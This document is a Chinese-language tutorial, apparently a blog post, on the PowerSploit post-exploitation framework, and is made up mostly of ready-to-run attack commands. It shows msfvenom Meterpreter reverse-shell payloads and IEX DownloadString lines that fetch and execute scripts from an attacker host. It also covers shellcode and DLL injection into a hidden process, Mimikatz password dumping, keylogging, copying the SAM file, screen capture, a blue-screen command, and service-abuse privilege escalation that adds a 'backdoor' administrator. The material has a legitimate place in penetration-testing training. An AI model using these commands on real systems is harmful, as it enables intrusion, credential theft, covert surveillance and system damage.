PowerSploit是一款基于PowerShell的后渗透(Post-Exploitation)框架软件,包含一些PowerShell攻击脚本,用于渗透种的信息侦查、权限提升、权限维持

0x01 PowerSploit安装

Github地址:https://github.com/PowerShellMafia/PowerSploit

下载

进入PowerSploit目录使用python开启http服务

1
2
cd PowerSploit
python -m SimpleHTTPServer 8000

powershell脚本分类以及功能

一、AntivirusBypass(发现杀软查杀特征)

  • Find-AVSignature 发现杀软的签名

二、CodeExecution(在目标主机执行代码)

  • Invoke-DllInjection.psDLL 注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限

  • Invoke-ReflectivePEInjection.ps1 反射型注入 将Windows PE文件(DLL / EXE)反射加载到powershell进程中,或反射地将DLL注入远程进程

  • Invoke-Shellcode.ps1 将shellcode插入您选择的进程ID或本地PowerShell中

  • Invoke-WmiCommand.ps1 在目标主机使用wmi执行命令

三、Exfiltration(信息收集) 这个文件夹主要是收集目标主机上的信息

  • Out-Minidump.ps1 生成一个进程的全内存小数据库
  • Get-VaultCredential.ps1 显示Windows徽标凭据对象,包括明文Web凭据
  • Get-Keystrokes.ps1 记录按键,时间和活动窗口
  • Get-GPPPassword.ps1 检索通过组策略首选项推送的帐户的明文密码和其他信息
  • Get-GPPAutologon.ps1 如果通过组策略首选项推送,则从registry.xml检索自动登录用户名和密码
  • Get-TimedScreenshot.ps1 这是一个以定期间隔拍摄屏幕并将其保存到文件夹的功能
  • Invoke-Mimikatz.ps1 抓取主机密码
  • Invoke-NinjaCopy.ps1 通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件
  • Invoke-CredentialInjection.ps1 使用明文凭据创建登录,而不会触发可疑事件ID 4648(显式凭证登录)
  • Invoke-TokenManipulation.ps1 列出可用的登录令牌。与其他用户创建进程登录令牌,并模仿当前线程中的登录令牌
  • Get-MicrophoneAudio.ps1 通过麦克风记录声音
  • VolumeShadowCopyTools.ps1

四、Recon(信息侦察) 这个文件夹主要是以目标主机为跳板进行内网主机侦察

  • Invoke-Portscan.ps1 端口扫描
  • Get-HttpStatus.ps1 返回指定路径的HTTP状态代码和完整URL,并附带字典文件
  • Invoke-ReverseDnsLookup.ps1 扫描DNS PTR记录的IP地址范围
  • PowerView.ps1 PowerView是一系列执行网络和Windows域枚举和利用的功能
  • Get-ComputerDetails 获得登录信息

五、ScriptModification(在目标主机创建或修改脚本代码)

  • Out-EncodedCommand.ps1 将脚本或代码块编码,并为PowerShell有效载荷脚本生成命令行输出
  • Out-EncryptedScript.ps1 加密文本文件/脚本
  • Out-CompressedDll.ps1 压缩,Base-64编码,并输出生成的代码,以将受管理的DLL加载到内存中
  • Remove-Comments.ps1 从脚本中删除注释和多余的空白

六、Persistence(后门脚本权限维持)

  • New-UserPersistenceOption 为添加持久性函数配置用户级持久性选项。
  • New-ElevatedPersistenceOption 为添加持久性函数配置提升的持久性选项。
  • Add-Persistence 向脚本添加持久性功能
  • Install-SSP 安装安全支持提供程序(ssp)dll
  • Get-SecurityPackages

七、Privesc(提权)

  • PowerUP: 寻找目标主机windows服务漏洞进行提权的实用脚本
  • Get-System

八、Mayhem(蓝屏等破坏性脚本)

  • Set-MasterBootRecord 选择的消息覆写主引导记录
  • Set-CriticalProcess 退出powershell时使系统蓝屏

0x02 CodeExecution——代码执行

*1.Invoke-Shellcode *

CodeExecution模块下的Invoke-Shellcode脚本常用于将ShellCode插入指定的进程ID或本地powershell中,如下为两种常用反弹meterpreter shell方式

(1)直接执行ShellCode反弹meterpreter shell

在 msf中使用reverse_https模块进行反弹,如下为设置内容

使用msfvenom命令生成一个powershell脚本木马

1
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.197.229 LPORT=4444 -f powershell -o /root/PowerSploit/pentest

在目标机器的powershell下输入以下命令下载脚本

1
2
3
4
5
6
7
IEX(New-Object Net.WebClient).DownloadString("http://192.168.197.229:8000/CodeExecution/Invoke-Shellcode.ps1")

IEX(New-Object Net.WebClient).DownloadString("http://192.168.197.229:8000/mao")
Invoke-Shellcode -Shellcode ($buf) -Force

//也可以用另一种方式
Invoke-Shellcode -Shellcode @()

这样就可反弹回shell到Matsploit

(2) 指定进程注入shellcode反弹meterpreter shell

1
2
3
4
5
6
7
IEX(New-Object Net.WebClient).DownloadString("http://192.168.197.229:8000/CodeExecution/Invoke-Shellcode.ps1")

IEX(New-Object Net.WebClient).DownloadString("http://192.168.197.229:8000/mao")

Get-Process //查找可注入进程

Invoke-Shellcode -ProcessId 7620 -Shellcode ($buf) -Force

2.Invoke-Dlllnjection

Code Execution模块下的Invoke-Dlllnjection脚本,为DLL注入脚本

下载脚本到目标机,命令如下

1
IEX (New-Object Net.WebClient).DownloadString("http://192.168.197.229:8000/CodeExecution/Invoke-DllInjection.ps1")

在kali中生成一个DLL注入脚本,并启用监听,这里使用reverse_tcp

1
2
3
4
5
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.229 LPORT=4444 -f dll -o /root/PowerSploit/pentest.dll
//启用监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
run

5

在目标机上开启一个隐藏进程并注入DLL

1
2
3
start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden 开启隐藏进程
Get-Process notepad //查看隐藏进程ID用于注入DLL
Invoke-DllInjection -ProcessID 6552 -Dll C:\Users\Admin\Downloads\mao.dll //注入DLL

正常的话会返回一个merterpreter shell

0x03 Recon——信息侦察

调用invoke-Portscan扫描内网主机的端口

远程加载位于kali上的Invoke-Portscan.ps1脚本

1
2
3
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/Recon/Invoke-Portscan.ps1")
get-hrlp Invoke-Portscan //查看帮助
get-help Invoke-Portscan -examples //查看用法示例


扫描Top50的端口

1
2
Invoke-Portscan -Hosts 192.168.1.1 -TopPorts 50 -Threads 50
Invoke-Portscan -Hosts 192.168.1.7 -Ports "8000" //仅仅扫描8000端口是否开放

调用Invoke-ReverseDnsLookup反向DNS查找

远程加载位于kali上的ReverseDnsLookup.ps1脚本

1
2
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/Recon/Invoke-ReverseDnsLookup.ps1")
get-help Invoke-ReverseDnsLookup //查看帮助

通过ip查找到对应主机名

1
Invoke-ReverseDnsLookup "192.168.1.7,192.168.1.2"

Recon还有Get-HttpStatus进行网站目录检测,Get-ComputerDetails获取主机登录信息等脚本

0x04 Exfiltration——信息收集

调用Invoke-Mimikatz抓取内存明文密码(需要管理员权限)

远程加载位于kali上的Invoke-Mimikatz.ps1脚本

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")

运行如下命令,抓取密码

1
Invoke-Mimikatz -DumpCreds

调用Get-Keystrokes键盘记录(详细的鼠标键盘记录)

远程加载位于kali上的Get-Keystrokes.ps1脚本

1
IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/Exfiltration/Get-Keystrokes.ps1")

运行Get-Keystrokes并把结果记录保存到一个文件,试着运行一些字符测试一下,可以看到已被记录下来了

1
Get-Keystrokes C:\Users\testuser\Desktop\pentest.txt

调用Invoke-NinjaCopy超级复制(需要管理员权限,可以复制受保护的运行中的系统文件)

远程加载位于kali上的Invoke-NinjaCopy.ps1脚本

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1")

运行Invoke-NinjaCopy脚本把SAM复制到桌面上,下面可以看到已经成功复制SAM文件,普通的复制是不能复制系统限制文件的

1
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"

调用Get-TimedScreenshot进行屏幕记录

远程加载位于kali上的Get-TimedScreenshot.ps1脚本

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/Exfiltration/Get-TimedScreenshot.ps1")

运行Get-TimedScreenshot脚本截图所示

1
Get-TimedScreenshot -Path C:\Users\testuser\Desktop -Interval 30 -EndTime 14:00

0x05 ScriptModification——脚本修改

调用Out-CompressedDll将dll压缩并base64编码

远程加载Out-CompressedDll.ps1脚本

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/ScriptModification/Out-CompressedDll.ps1")

运行脚本Out-CompressedDll脚本

1
Out-CompressedDll -FilePath C:\Users\testuser\Desktop\pentest.dll

调用Out-EncodedCommand将脚本或代码块编码

远程加载Out-EncodedCommand.ps1脚本

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/ScriptModification/Out-EncodedCommand.ps1")

脚本块编码

1
Out-EncodedCommand -ScriptBlock {Write-Host 'whomai'}

脚本编码

1
Out-EncodedCommand -Path C:\Users\testuser\Desktop\test.ps1 -EncodedOutput

调用Remove-Comments删除注释和不必要的空白符

远程加载Remove-Comments.ps1脚本

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.7:8000/PowerSploit/ScriptModification/Remove-Comments.ps1")

运行Remove-Comments脚本,删除脚本中的空白和注释

1
Remove-Comments -Path C:\Users\testuser\Desktop\test.ps1

0x06 Mayhem

使用Mayhem模块需要先将Mayhem放到C:\Windows\System32\WindowsPowerShell\v1.0\Modules下,然后需要导入模块

导入Mayhem模块,并查看帮助命令

1
2
Import-Module Mayhem
Get-Command -Module Mayhem

使用命令Set-CriticalProcess,退出powershell时使系统蓝屏

1
Set-CriticalProcess

0x07 PowerUp模块

Privesc模块下的PowerUp脚本,有许多用来寻找目标主机Window服务漏洞进行提权的实用脚本

在windows下一般可以通过内核漏洞来提升权限,但碰到无法通过内核漏洞提权所处服务器的情况,就需要利用脆弱的windows服务提权,或利用常见的系统服务,通过其继承的系统权限来完成提权,此框架在内核提权行不通的时候,帮助我们寻找服务器的脆弱点,进行通过脆弱点实现提权的目的

查看模块的详细说明,命令如下

1
2
3
get-help [cmdlet] -full
get-help Invoke-AllChecks -full //举例
Get-Command -Module powerup //查看所有模块

1.Invoke-AllChecks

执行PowerUp所有脚本来检查目标主机

1
Invoke-AllChecks

2.Find-DLLHijack

检查每个进程所加载的模块,返回已经加载且不在其可执行目录的模块的目录

1
2
3
Find-DLLHijack #返回所有的dll路径
Find-DLLHijack -ExcludeWindows -ExcludeProgramFiles #返回排除C:\Windows\*; C:\Program Files\*;C:\Program Files (x86)\*以外的dll路径
Find-DLLHijack -ExcludeOwned #返回不属于当前用户所有进程权限的dll路径

3.Find-PathDLLHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的

1
Find-Pathdllhijack

4.Get-ApplicationHost

从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码

1
2
Get-ApplicationHost
Get-ApplicationHost | Format-Table -Autosize # 列表显示

5.Get-RegistryAlwaysInstallElevated

检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的

1
Get-RegistryAlwaysInstallElevated

6.Get-RegistryAutoLogon

检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码

1
Get-RegistryAutoLogon

7.Get-ServiceDetail

返回某服务的信息

1
Get-ServiceDetail -ServiceName Dhcp //获取DHCP服务的详细信息

8.Get-ServiceFilePermission

检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的

1
Get-ServiceFilePermission

9.Test-ServiceDaclPermission

检查所有可用的服务,并尝试对这些打开的

1
Test-ServiceDaclPermission

10.Get-ServiceUnquoted

检查服务路径,返回包含空格但是不带引号的服务路径。

此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。

比如C:\program files\hello.exe会被解释为C:\program.exe以及C:\program files\hello.exe

1
Get-ServiceUnquoted

11.Get-UnattendedInstallFile

检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:

1
2
3
4
5
6
7
8
9
c:\sysprep\sysprep.xml
c:\sysprep\sysprep.inf
c:\sysprep.inf
c:\windows\Panther\Unattended.xml
c:\windows\Panther\Unattend\Unattended.xml
c:\windows\Panther\Unattend.xml
c:\windows\Panther\Unattend\Unattend.xml
c:\windows\System32\Sysprep\unattend.xml
c:\windows\System32\Sysprep\Panther\unattend.xml
1
Get-UnattendedInstallFile

12.Get-ModifiableRegistryAutoRun

检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。

1
2
3
4
5
6
7
8
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
1
Get-ModifiableRegistryAutoRun

13.Get-ModifiableScheduledTaskFile

返回当前用户能够修改的计划任务程序的名称和路径

1
Get-ModifiableScheduledTaskFile

14.Get-Webconfig

返回当前服务器上的web.config文件中的数据库连接字符串的明文。

1
get-webconfig

15.Invoke-ServiceAbuse

用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令

1
2
3
Invoke-ServiceAbuse -ServiceName VulnSVC // 添加默认账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" // 指定添加域账号
Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" // 指定添加用户,用户密码以及添加的用户组。Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."// 自定义执行命令

16.Restore-ServiceBinary

恢复服务的可执行文件到原始目录

1
Restore-ServiceBinary -ServiceName VulnSVC

17.Test-ServiceDaclPermission

检查某个用户是否在一个服务有自由访问控制的权限,返回true或false

1
Restore-ServiceBinary -ServiceName VulnSVC

18.Write-HijackDll

输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll

1
Write-HijackDll -OutputFile 'C:\Users\Admin\Desktop\PowerTools\PowerUp' -Command 'whoami'

19.Write-UserAddMSI

生成一个安装文件,运行这个安装文件,则弹出添加用户的框

1
Write-UserAddMSI

20.Write-ServiceBinary

预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令

1
2
3
4
Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

21.Install-ServiceBinary

通过Write-ServiceBinary写一个C#的服务用来添加用户

1
2
3
4
Install-ServiceBinary -ServiceName DHCP
Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务

常用记录:

远程加载执行

1
powershell.exe -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('http://192.168.197.230:8000/Privesc/PowerUp.ps1');Invoke-AllChecks”

使用IEX在内存中加载此脚本

1
powershell.exe -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('C:\Users\Admin\Desktop\PowerTools\PowerUp\PowerUp.ps1');Invoke-AllChecks”

上传好脚本后,输入shell命令进入CMD提示符下,在CMD环境下,使用本地隐藏权限绕过执行该脚本

1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

参考资料

https://www.cnblogs.com/yuzly/p/10505365.html